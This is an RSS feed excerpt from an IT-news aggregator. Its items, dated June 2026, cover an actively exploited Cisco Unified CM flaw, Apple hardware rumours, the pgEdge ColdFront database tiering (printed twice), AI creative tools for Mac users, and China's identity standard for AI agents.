<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/week-in-review-fortibleed-campaigns-impact-on-orgs-cisco-unified-cm-flaw-exploited/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/week-in-review-fortibleed-campaigns-impact-on-orgs-cisco-unified-cm-flaw-exploited/">Week in review: Fortibleed campaign’s impact on orgs, Cisco Unified CM flaw exploited</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Week in review: Fortibleed campaign’s impact on orgs, Cisco Unified CM flaw exploited]]></title>
<description><![CDATA[Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: Encrypted DNS still tells an eavesdropper where to look Encrypted DNS runs across much of the Internet. DNS over TLS, HTTPS, and QUIC keep the contents of a query away from anyone watching a network ...]]></description>
<link>https://tsecurity.de/de/3630729/it-security-nachrichten/week-in-review-fortibleed-campaigns-impact-on-orgs-cisco-unified-cm-flaw-exploited/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3630729/it-security-nachrichten/week-in-review-fortibleed-campaigns-impact-on-orgs-cisco-unified-cm-flaw-exploited/</guid>
<pubDate>Sun, 28 Jun 2026 10:07:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: Encrypted DNS still tells an eavesdropper where to look Encrypted DNS runs across much of the Internet. DNS over TLS, HTTPS, and QUIC keep the contents of a query away from anyone watching a network link. The encryption covers the message inside each packet. The packet still carries plaintext headers, and those values mark a flow as DNS. Agent Beacon: … <a href="https://www.helpnetsecurity.com/2026/06/28/week-in-review-fortibleed-campaigns-impact-on-orgs-cisco-unified-cm-flaw-exploited/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/06/28/week-in-review-fortibleed-campaigns-impact-on-orgs-cisco-unified-cm-flaw-exploited/">Week in review: Fortibleed campaign’s impact on orgs, Cisco Unified CM flaw exploited</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Apple Plans A New M5 Ultra Mac Studio With 768GB Of RAM In 2026]]></title>
<description><![CDATA[Despite a massive global memory shortage and recent price hikes, Apple is reportedly planning to launch a brand new Mac Studio later this year. This upcoming desktop machine will feature the very last chip in the M5 family, officially known as the M5 Ultra. According to fresh reports from Bloombe...]]></description>
<link>https://tsecurity.de/de/3630344/ios-mac-os/apple-plans-a-new-m5-ultra-mac-studio-with-768gb-of-ram-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3630344/ios-mac-os/apple-plans-a-new-m5-ultra-mac-studio-with-768gb-of-ram-in-2026/</guid>
<pubDate>Sun, 28 Jun 2026 01:54:04 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Despite a massive global memory shortage and recent price hikes, Apple is reportedly planning to launch a brand new Mac Studio later this year. This upcoming desktop machine will feature the very last chip in the M5 family, officially known as the M5 Ultra. According to fresh reports from Bloomberg, this powerful computer could come with a massive 768GB of unified memory, giving creative workers a huge boost for their most demanding and heavy daily tasks.



The desktop gets a massive memory boost and core upgrade



The upcoming M5 Ultra processor is expected to pack around 36 CPU cores and 80 graphics cores. While this offers a solid jump in raw power over previous versions, the new memory limit is the real shocker. Reports show the company successfully tested the machine with up to 768GB of unified memory.



If this massive memory option actually makes it to the final release, it will be a true dream machine for 3D artists, AI researchers, and video editors. However, buyers should expect a very high price tag due to the current memory shortage. A fully loaded desktop model would pair incredibly well with a high-end monitor like the Studio Display 2 for an ultimate professional work setup.



The company changes its future computer processor roadmap



This new desktop launch comes during a major shift in how the tech giant plans its future hardware releases. Recent news shows the brand will skip its higher-tier M6 options and focus directly on the M7 lineup next year.



This change means the M5 Ultra will remain the top choice for heavy professionals for quite some time. Regular shoppers might soon see a base M6 laptop that features better graphics and smarter processing tools later this year, but the serious heavy lifters will need to stick with the M5 generation.



The brand clearly wants to push the limits of its current hardware before introducing its next massive leap in artificial intelligence and processing power down the road.]]></content:encoded>
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<title><![CDATA[CISA Orders Immediate Patch for Actively Exploited Cisco Unified CM SSRF Flaw]]></title>
<description><![CDATA[  CISA has moved quickly against a serious Cisco vulnerability because the issue is already being exploited and could expose government and enterprise communications systems to deeper compromise. The flaw, CVE-2026-20230, affects Cisco Unified Communications Manager and Cisco Unified CM…
Read mor...]]></description>
<link>https://tsecurity.de/de/3629749/it-security-nachrichten/cisa-orders-immediate-patch-for-actively-exploited-cisco-unified-cm-ssrf-flaw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3629749/it-security-nachrichten/cisa-orders-immediate-patch-for-actively-exploited-cisco-unified-cm-ssrf-flaw/</guid>
<pubDate>Sat, 27 Jun 2026 16:37:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>  CISA has moved quickly against a serious Cisco vulnerability because the issue is already being exploited and could expose government and enterprise communications systems to deeper compromise. The flaw, CVE-2026-20230, affects Cisco Unified Communications Manager and Cisco Unified CM…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/cisa-orders-immediate-patch-for-actively-exploited-cisco-unified-cm-ssrf-flaw/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/cisa-orders-immediate-patch-for-actively-exploited-cisco-unified-cm-ssrf-flaw/">CISA Orders Immediate Patch for Actively Exploited Cisco Unified CM SSRF Flaw</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[BarracudaONE gewinnt „Unified Cybersecurity Platform“ bei 2026 Awards]]></title>
<description><![CDATA[CAMPBELL / LONDON (IT BOLTWISE) – BarracudaONE wurde als „Best Unified Cybersecurity Platform“ bei den Cybersecurity Stars Awards 2026 ausgezeichnet. Der Hersteller positioniert seine Plattform als einheitliche Abdeckung für E-Mail, Identität, Endpoints und Netzwerke – plus Managed XDR und 24/7 S...]]></description>
<link>https://tsecurity.de/de/3629616/it-security-nachrichten/barracudaone-gewinnt-unified-cybersecurity-platform-bei-2026-awards/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3629616/it-security-nachrichten/barracudaone-gewinnt-unified-cybersecurity-platform-bei-2026-awards/</guid>
<pubDate>Sat, 27 Jun 2026 15:08:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-barracud-aone-unified-cybersecurity-award-2026.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-barracud-aone-unified-cybersecurity-award-2026.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-barracud-aone-unified-cybersecurity-award-2026-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-barracud-aone-unified-cybersecurity-award-2026-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-barracud-aone-unified-cybersecurity-award-2026-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-barracud-aone-unified-cybersecurity-award-2026-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-barracud-aone-unified-cybersecurity-award-2026-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">CAMPBELL / LONDON (IT BOLTWISE) – BarracudaONE wurde als „Best Unified Cybersecurity Platform“ bei den Cybersecurity Stars Awards 2026 ausgezeichnet. Der Hersteller positioniert seine Plattform als einheitliche Abdeckung für E-Mail, Identität, Endpoints und Netzwerke – plus Managed XDR und 24/7 SOC-Expertise. Im Kern geht es um weniger Tool-Bruchstellen, schnellere Risikoerkennung und orchestrierte Reaktionsabläufe. Besonders für […]</p>
<div><a href="https://www.it-boltwise.de/barracudaone-gewinnt-unified-cybersecurity-platform-bei-2026-awards.html">... den vollständigen Artikel <strong>»BarracudaONE gewinnt „Unified Cybersecurity Platform“ bei 2026 Awards«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/barracudaone-gewinnt-unified-cybersecurity-platform-bei-2026-awards.html">BarracudaONE gewinnt „Unified Cybersecurity Platform“ bei 2026 Awards</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[CISA sets urgent deadline to fix Cisco flaw exploited in attacks]]></title>
<description><![CDATA[The U.S. Cybersecurity and Infrastructure Security Agency (CISA) is giving federal agencies until Sunday to patch a vulnerability in Cisco Unified Communications Manager Server that is being actively exploited. [...]]]></description>
<link>https://tsecurity.de/de/3628467/it-security-nachrichten/cisa-sets-urgent-deadline-to-fix-cisco-flaw-exploited-in-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3628467/it-security-nachrichten/cisa-sets-urgent-deadline-to-fix-cisco-flaw-exploited-in-attacks/</guid>
<pubDate>Fri, 26 Jun 2026 21:53:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The U.S. Cybersecurity and Infrastructure Security Agency (CISA) is giving federal agencies until Sunday to patch a vulnerability in Cisco Unified Communications Manager Server that is being actively exploited. [...]]]></content:encoded>
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<title><![CDATA[2026 EuroLLVM - Apple GPU Support in Mojo]]></title>
<description><![CDATA[Author: LLVM - Bewertung: 0x - Views:1 2026 EuroLLVM Developers' Meeting
https://llvm.org/devmtg/2026-04/
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Title: Apple GPU Support in Mojo
Speaker: Kolya Panchenko
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Slides:  https://llvm.org/devmtg/2026-04/slides/quick_talk/quick_talk_panchenko.pdf
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Mojo's powerful compile-time ...]]></description>
<link>https://tsecurity.de/de/3628311/it-security-video/2026-eurollvm-apple-gpu-support-in-mojo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3628311/it-security-video/2026-eurollvm-apple-gpu-support-in-mojo/</guid>
<pubDate>Fri, 26 Jun 2026 20:19:15 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: LLVM - Bewertung: 0x - Views:1 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/VkULy8Ta4uE?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>2026 EuroLLVM Developers' Meeting<br />
https://llvm.org/devmtg/2026-04/<br />
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Title: Apple GPU Support in Mojo<br />
Speaker: Kolya Panchenko<br />
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Slides:  https://llvm.org/devmtg/2026-04/slides/quick_talk/quick_talk_panchenko.pdf<br />
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Mojo's powerful compile-time meta-programming system and unified syntax make it exceptionally well-suited for heterogeneous accelerator programming, with proven success on CUDA and ROCm platforms. As many developers work on Apple products (such as iMacs, MacBooks, Mac Studios etc) adding Apple GPU support to Mojo is a natural next step. However, unlike CUDA and ROCm, which have open-source compiler toolchains in upstream LLVM, Apple's GPU compiler stack is proprietary. We will present chosen design and discuss challenges of Apple GPU's integration into Mojo.<br />
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Videos Edited by Bash Films: http://www.BashFilms.com<br/></p>]]></content:encoded>
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<title><![CDATA[pgEdge joins rush to merge OLTP and OLAP storage to support AI]]></title>
<description><![CDATA[For years, enterprises have maintained separate systems for processing transactional (OLTP) and analytical (OLAP) data, even if that meant moving data between them. However, the rise of autonomous agents and AI applications needing immediate access to data while generating volumes of operational ...]]></description>
<link>https://tsecurity.de/de/3627771/ai-nachrichten/pgedge-joins-rush-to-merge-oltp-and-olap-storage-to-support-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3627771/ai-nachrichten/pgedge-joins-rush-to-merge-oltp-and-olap-storage-to-support-ai/</guid>
<pubDate>Fri, 26 Jun 2026 16:54:48 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p>For years, enterprises have maintained separate systems for processing <a href="https://www.infoworld.com/article/2334535/what-is-oltp-the-backbone-of-ecommerce.html">transactional (OLTP)</a> and <a href="https://www.infoworld.com/article/2334471/what-is-olap-analytical-databases.html">analytical (OLAP)</a> data, even if that meant moving data between them. However, the rise of autonomous agents and AI applications needing immediate access to data while generating volumes of operational data themselves, has exposed the cost and complexity of maintaining those separate systems.</p>



<p>The industry’s response has been quick, with data warehouse and database vendors proposing a wave of competing approaches to collapsing those data silos. In the past few weeks Databricks unveiled <a href="https://www.infoworld.com/article/4185622/databricks-pitches-ltap-as-a-new-foundation-for-agentic-applications.html">LTAP</a> and EDB introduced <a href="https://www.infoworld.com/article/4188484/edb-converges-analytics-on-postgres-to-support-ai-agents.html">converged analytics</a>, while late last year Snowflake launched <a href="https://www.snowflake.com/en/blog/engineering/pg-lake-postgres-lakehouse-integration/">pg_lake</a>, all of which offer different blueprints for bringing transactional, analytical and AI workloads closer together.</p>



<p>Now it’s the turn of distributed <a href="https://www.infoworld.com/article/2266153/postgresql-benefits-and-challenges-a-snapshot.html">PostgreSQL</a> provider pgEdge, which has introduced a beta version of <a href="https://www.pgedge.com/solutions/postgres-tiered-storage" target="_blank" rel="noreferrer noopener">ColdFront</a>, a PostgreSQL-native hot-and-cold data tiering architecture that automatically moves older data into <a href="https://www.infoworld.com/article/3479001/why-apache-iceberg-is-on-fire-right-now.html">Apache Iceberg</a> object storage while keeping PostgreSQL as the only database that applications need to interact with.</p>



<p>In ColdFront’s architecture, hot and cold refer to newer and older data, respectively.</p>



<p>The approach of keeping PostgreSQL as the primary interface is what sets ColdFront apart from the other architectures emerging in this space, differing in where the center of gravity for data lies, according to analysts.</p>



<p>Databricks’ LTAP keeps operational applications connected to a lakehouse where analytics and AI are performed, EDB keeps PostgreSQL as the operational source of truth while exposing data through Iceberg for analytical engines, and Snowflake’s pg_lake writes PostgreSQL data directly into Iceberg so both PostgreSQL and Snowflake can query the same data, said <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, leader of executive research at HFS Research.</p>



<p>ColdFront, by contrast, treats Iceberg only as a transparent storage tier behind PostgreSQL, automatically moving older data out of the database while keeping applications on the same tables and SQL, Chaturvedi said.</p>



<p>The result, according to pgEdge cofounder <a href="https://www.linkedin.com/in/phillipmerrick/" target="_blank" rel="noreferrer noopener">Phillip Merrick</a>, is that queries against recent data continue to run on PostgreSQL, while requests for older records are transparently executed using DuckDB’s embedded analytical engine, allowing applications to use the same SQL without introducing <a href="https://www.infoworld.com/article/2338277/modern-data-infrastructures-dont-do-etl.html">ETL</a> pipelines, separate query paths, or application changes.</p>



<p>That also means older records stored in Iceberg can be updated through PostgreSQL without requiring application changes, enabling what Merrick described as a “cold writable tier.”</p>



<h2 class="wp-block-heading">Why writable cold storage matters</h2>



<p>That cold writable tier could resonate with enterprises seeking to balance data residency, sovereignty, regulatory compliance and the growing operational demands of the agentic era, particularly because competing approaches generally require sacrificing at least one of those objectives.</p>



<p>As enterprises retain growing volumes of historical operational data generated by AI applications for audit and regulatory purposes, they increasingly need the ability to correct, delete or modify records, for example to comply with data protection and privacy laws, even after they have been moved into lower-cost storage, which other rival approaches complicate, said <a href="https://www.linkedin.com/in/amitchandak78/" target="_blank" rel="noreferrer noopener">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika.</p>



<p>ColdFront can simplify those processes, said Chaturvedi: “In most tiering systems, cold (older) data is read-only, so a GDPR deletion request on archived data means restore-delete-rearchive, which is a half day job. ColdFront’s architecture would allow you to UPDATE and DELETE archived rows through one SQL statement.”</p>



<p>The rival architectures make different tradeoffs, with Databricks asking enterprises to adopt a proprietary lakehouse as the operational center of gravity, Snowflake requiring applications to distinguish between PostgreSQL and analytical tables, and EDB still requiring archived data to be brought back into active PostgreSQL before it can be modified, he said.</p>



<p>Those tradeoffs are particularly significant for regulated industries, according to <a href="https://www.infotech.com/profiles/igor-ikonnikov" target="_blank" rel="noreferrer noopener">Igor Ikonnikov</a>, advisory fellow at Info-Tech Research Group, who said enterprises in financial services, healthcare and government increasingly want to keep sensitive operational data on customer-controlled infrastructure while preserving the ability to modify historical records to meet evolving regulatory obligations.</p>



<h2 class="wp-block-heading">The DuckDB dependency</h2>



<p>Despite their architectural differences, all the vendors are masking an emerging convergence at another layer of the stack that CIOs should take note of: an increasing dependence on DuckDB.</p>



<p>“ColdFront uses DuckDB to execute queries against data stored in Iceberg. Snowflake’s pg_lake routes Iceberg queries through pgduck_server, and Databricks’ Lakebase also relies on DuckDB internally for parts of its analytical processing. As a result, DuckDB is rapidly becoming the de facto embedded analytics engine for this new generation of PostgreSQL-Iceberg architectures,” Ikonnikov said.</p>



<p>That growing dependence creates what the analyst described as a concentration risk: “If DuckDB faces licensing changes, security vulnerabilities, performance bottlenecks or governance issues, the impact would ripple across multiple products simultaneously.”</p>



<p>As a result, CIOs should understand the maturity and roadmap of the shared components these architectures increasingly depend on.</p>



<p>However, that similarity in shared components will not make evaluation of these competing architectures easier for CIOs.</p>



<p>Most enterprises already have established data architectures, said <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Michael Leone</a>, principal analyst at Moor Insights &amp; Strategy, arguing that CIOs should evaluate these platforms based on where their data, developers and operational workflows already reside rather than assuming one architecture fits every environment.</p>



<p>For enteprises still defining their long-term data strategy, Leone recommended standardizing on Iceberg first since all four architectures support the open table format and enterprises will retain the flexibility to replace the front-end database or analytical platform later without migrating the underlying data.</p>



<p>Even that portability, however, has limits, Ikonnikov cautioned.</p>



<p>“The issue is Iceberg catalog governance. All four approaches write to Iceberg, but they use different catalogs and their interoperability across vendors remains an open problem. When agents from different systems need to query the same Iceberg tables, catalog federation becomes a real operational challenge.”</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[pgEdge joins rush to merge OLTP and OLAP storage to support AI]]></title>
<description><![CDATA[For years, enterprises have maintained separate systems for processing transactional (OLTP) and analytical (OLAP) data, even if that meant moving data between them. However, the rise of autonomous agents and AI applications needing immediate access to data while generating volumes of operational ...]]></description>
<link>https://tsecurity.de/de/3627752/it-nachrichten/pgedge-joins-rush-to-merge-oltp-and-olap-storage-to-support-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3627752/it-nachrichten/pgedge-joins-rush-to-merge-oltp-and-olap-storage-to-support-ai/</guid>
<pubDate>Fri, 26 Jun 2026 16:51:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p>For years, enterprises have maintained separate systems for processing <a href="https://www.infoworld.com/article/2334535/what-is-oltp-the-backbone-of-ecommerce.html">transactional (OLTP)</a> and <a href="https://www.infoworld.com/article/2334471/what-is-olap-analytical-databases.html">analytical (OLAP)</a> data, even if that meant moving data between them. However, the rise of autonomous agents and AI applications needing immediate access to data while generating volumes of operational data themselves, has exposed the cost and complexity of maintaining those separate systems.</p>



<p>The industry’s response has been quick, with data warehouse and database vendors proposing a wave of competing approaches to collapsing those data silos. In the past few weeks Databricks unveiled <a href="https://www.infoworld.com/article/4185622/databricks-pitches-ltap-as-a-new-foundation-for-agentic-applications.html">LTAP</a> and EDB introduced <a href="https://www.infoworld.com/article/4188484/edb-converges-analytics-on-postgres-to-support-ai-agents.html">converged analytics</a>, while late last year Snowflake launched <a href="https://www.snowflake.com/en/blog/engineering/pg-lake-postgres-lakehouse-integration/" rel="nofollow">pg_lake</a>, all of which offer different blueprints for bringing transactional, analytical and AI workloads closer together.</p>



<p>Now it’s the turn of distributed <a href="https://www.infoworld.com/article/2266153/postgresql-benefits-and-challenges-a-snapshot.html">PostgreSQL</a> provider pgEdge, which has introduced a beta version of <a href="https://www.pgedge.com/solutions/postgres-tiered-storage" target="_blank" rel="nofollow">ColdFront</a>, a PostgreSQL-native hot-and-cold data tiering architecture that automatically moves older data into <a href="https://www.infoworld.com/article/3479001/why-apache-iceberg-is-on-fire-right-now.html">Apache Iceberg</a> object storage while keeping PostgreSQL as the only database that applications need to interact with.</p>



<p>In ColdFront’s architecture, hot and cold refer to newer and older data, respectively.</p>



<p>The approach of keeping PostgreSQL as the primary interface is what sets ColdFront apart from the other architectures emerging in this space, differing in where the center of gravity for data lies, according to analysts.</p>



<p>Databricks’ LTAP keeps operational applications connected to a lakehouse where analytics and AI are performed, EDB keeps PostgreSQL as the operational source of truth while exposing data through Iceberg for analytical engines, and Snowflake’s pg_lake writes PostgreSQL data directly into Iceberg so both PostgreSQL and Snowflake can query the same data, said <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="nofollow">Ashish Chaturvedi</a>, leader of executive research at HFS Research.</p>



<p>ColdFront, by contrast, treats Iceberg only as a transparent storage tier behind PostgreSQL, automatically moving older data out of the database while keeping applications on the same tables and SQL, Chaturvedi said.</p>



<p>The result, according to pgEdge cofounder <a href="https://www.linkedin.com/in/phillipmerrick/" target="_blank" rel="nofollow">Phillip Merrick</a>, is that queries against recent data continue to run on PostgreSQL, while requests for older records are transparently executed using DuckDB’s embedded analytical engine, allowing applications to use the same SQL without introducing <a href="https://www.infoworld.com/article/2338277/modern-data-infrastructures-dont-do-etl.html">ETL</a> pipelines, separate query paths, or application changes.</p>



<p>That also means older records stored in Iceberg can be updated through PostgreSQL without requiring application changes, enabling what Merrick described as a “cold writable tier.”</p>



<h2 class="wp-block-heading">Why writable cold storage matters</h2>



<p>That cold writable tier could resonate with enterprises seeking to balance data residency, sovereignty, regulatory compliance and the growing operational demands of the agentic era, particularly because competing approaches generally require sacrificing at least one of those objectives.</p>



<p>As enterprises retain growing volumes of historical operational data generated by AI applications for audit and regulatory purposes, they increasingly need the ability to correct, delete or modify records, for example to comply with data protection and privacy laws, even after they have been moved into lower-cost storage, which other rival approaches complicate, said <a href="https://www.linkedin.com/in/amitchandak78/" target="_blank" rel="nofollow">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika.</p>



<p>ColdFront can simplify those processes, said Chaturvedi: “In most tiering systems, cold (older) data is read-only, so a GDPR deletion request on archived data means restore-delete-rearchive, which is a half day job. ColdFront’s architecture would allow you to UPDATE and DELETE archived rows through one SQL statement.”</p>



<p>The rival architectures make different tradeoffs, with Databricks asking enterprises to adopt a proprietary lakehouse as the operational center of gravity, Snowflake requiring applications to distinguish between PostgreSQL and analytical tables, and EDB still requiring archived data to be brought back into active PostgreSQL before it can be modified, he said.</p>



<p>Those tradeoffs are particularly significant for regulated industries, according to <a href="https://www.infotech.com/profiles/igor-ikonnikov" target="_blank" rel="nofollow">Igor Ikonnikov</a>, advisory fellow at Info-Tech Research Group, who said enterprises in financial services, healthcare and government increasingly want to keep sensitive operational data on customer-controlled infrastructure while preserving the ability to modify historical records to meet evolving regulatory obligations.</p>



<h2 class="wp-block-heading">The DuckDB dependency</h2>



<p>Despite their architectural differences, all the vendors are masking an emerging convergence at another layer of the stack that CIOs should take note of: an increasing dependence on DuckDB.</p>



<p>“ColdFront uses DuckDB to execute queries against data stored in Iceberg. Snowflake’s pg_lake routes Iceberg queries through pgduck_server, and Databricks’ Lakebase also relies on DuckDB internally for parts of its analytical processing. As a result, DuckDB is rapidly becoming the de facto embedded analytics engine for this new generation of PostgreSQL-Iceberg architectures,” Ikonnikov said.</p>



<p>That growing dependence creates what the analyst described as a concentration risk: “If DuckDB faces licensing changes, security vulnerabilities, performance bottlenecks or governance issues, the impact would ripple across multiple products simultaneously.”</p>



<p>As a result, CIOs should understand the maturity and roadmap of the shared components these architectures increasingly depend on.</p>



<p>However, that similarity in shared components will not make evaluation of these competing architectures easier for CIOs.</p>



<p>Most enterprises already have established data architectures, said <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="nofollow">Michael Leone</a>, principal analyst at Moor Insights &amp; Strategy, arguing that CIOs should evaluate these platforms based on where their data, developers and operational workflows already reside rather than assuming one architecture fits every environment.</p>



<p>For enteprises still defining their long-term data strategy, Leone recommended standardizing on Iceberg first since all four architectures support the open table format and enterprises will retain the flexibility to replace the front-end database or analytical platform later without migrating the underlying data.</p>



<p>Even that portability, however, has limits, Ikonnikov cautioned.</p>



<p>“The issue is Iceberg catalog governance. All four approaches write to Iceberg, but they use different catalogs and their interoperability across vendors remains an open problem. When agents from different systems need to query the same Iceberg tables, catalog federation becomes a real operational challenge.”</p>



<p><em>This article first appeared on <a href="https://www.infoworld.com/article/4190042/pgedge-joins-rush-to-merge-oltp-and-olap-storage-to-support-ai.html">InfoWorld</a>.</em></p>
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<title><![CDATA[How Mac Users Are Getting More Out of AI Creative Work]]></title>
<description><![CDATA[For a long time, the Mac's reputation as a creative machine rested on its hardware and native apps — Final Cut, Logic, the tight integration between a Retina display and color-accurate tools. AI has started to quietly rewrite that equation.



The shift isn't dramatic. Most Mac users haven't aban...]]></description>
<link>https://tsecurity.de/de/3627699/ios-mac-os/how-mac-users-are-getting-more-out-of-ai-creative-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3627699/ios-mac-os/how-mac-users-are-getting-more-out-of-ai-creative-work/</guid>
<pubDate>Fri, 26 Jun 2026 16:22:31 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[For a long time, the Mac's reputation as a creative machine rested on its hardware and native apps — Final Cut, Logic, the tight integration between a Retina display and color-accurate tools. AI has started to quietly rewrite that equation.



The shift isn't dramatic. Most Mac users haven't abandoned their existing workflows. But something is changing in how people approach the early, messier stages of creative work — ideation, iteration, rapid visual exploration — and AI tools are filling a gap that native apps never really addressed.



The Friction Nobody Talks About



The real challenge with AI-assisted creative work isn't capability. The models are impressive. The friction is operational: too many platforms, too many tabs, too much manual handoff between steps.



A typical session might involve generating an image in one tool, downloading it, uploading it somewhere else for background removal, switching to another service for video conversion, and then losing track of which version came from which prompt. This kind of tool-hopping breaks the focused state that creative work depends on.



Mac users feel this acutely, because the platform has always rewarded deep, single-environment focus. The friction isn't a technical problem — it's a workflow problem.



What's Actually Changing







The most useful AI tools emerging right now aren't necessarily the ones with the most powerful models. They're the ones that minimize context-switching.



This is showing up in a few different ways:



Unified canvas environments. Some tools are moving toward a visual, node-based interface — where discrete AI tasks (image generation, background swap, video conversion) connect to each other on an infinite canvas, with outputs flowing directly from one step to the next. For Mac users who think spatially and work across large or multiple displays, this approach fits naturally. 



Multi-model access in one place. Rather than holding separate subscriptions to GPT Image 2, Seedance, Kling, Midjourney, or other services, users increasingly want a single interface where different models can be called on for different tasks within the same session. Banana Pro AI is one platform taking this direction — the model becomes a tool choice, not a platform commitment.



Reusable workflow templates. Once a pipeline is built — say, a product photo → model integration → short video sequence — it can be saved and rerun with new inputs. Tools like Workflow Studio make this possible without rebuilding from scratch each time. The setup cost is paid once, which matters most to anyone managing a content catalog or running regular production cycles.



The Mac Advantage in This Context



None of this is Mac-exclusive. But there are reasons Mac users tend to adopt these kinds of tools quickly.



The platform's culture has always favored deep tool mastery over constant app-switching. When a creative environment reduces friction and rewards learning its structure, Mac users lean in. The spatial thinking that makes tools like Figma, Miro, or even Xcode feel natural translates well to canvas-based AI workflows.



The device ecosystem matters too. Heavy work happens at a desk — MacBook Pro, external display, the full setup. But review, approval, and light adjustment increasingly happen on an iPhone. Tools that sync across both contexts fit into how Mac users already move through their day.



The Shift in Creative Roles



What AI actually changes isn't the final output — it's who can generate a first draft, and how quickly.



A solo designer can now run product photography variations, motion concepts, and visual alternates in a single session that would have previously required a photographer, a video editor, and several rounds of back-and-forth. The creative direction still comes from the person. The labor-intensive middle steps increasingly don't.



This doesn't collapse the value of craft. If anything, it raises the bar for creative judgment — because the bottleneck is no longer production capacity, it's the quality of decisions made at each step. Mac users who treat these tools as leverage for their existing skills, rather than replacements for them, tend to get the most out of them.



A Practical Reality



The honest version of this story isn't that AI has transformed creative work overnight. Most professionals are still figuring out where it fits and where it doesn't.



What has changed is that the experimentation cost has dropped. Trying a visual direction, running a quick motion test, exploring a product presentation format — these used to require either significant time or significant budget. They increasingly don't.



For Mac users with an existing creative practice, that's not a disruption. It's an expansion of what's possible in a single afternoon's work.]]></content:encoded>
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<title><![CDATA[‘Digital ID cards’: China moves to regulate AI agents with unified identity system]]></title>
<description><![CDATA[China is establishing an identity system for artificial intelligence agents, as part of new national standards released on Friday to regulate the next frontier of autonomous technology.
The State Administration for Market Regulation (SAMR) unveiled the standard for “Artificial Intelligence Agent ...]]></description>
<link>https://tsecurity.de/de/3627625/it-security-nachrichten/digital-id-cards-china-moves-to-regulate-ai-agents-with-unified-identity-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3627625/it-security-nachrichten/digital-id-cards-china-moves-to-regulate-ai-agents-with-unified-identity-system/</guid>
<pubDate>Fri, 26 Jun 2026 15:54:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[China is establishing an identity system for artificial intelligence agents, as part of new national standards released on Friday to regulate the next frontier of autonomous technology.
The State Administration for Market Regulation (SAMR) unveiled the standard for “Artificial Intelligence Agent Interconnection”, aiming to establish a “closed-loop system” with a unified identity management framework for all AI agents, according to a report from state broadcaster China Central Television...]]></content:encoded>
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<title><![CDATA[Most companies think they're building a software factory. They're actually just shipping bugs faster.]]></title>
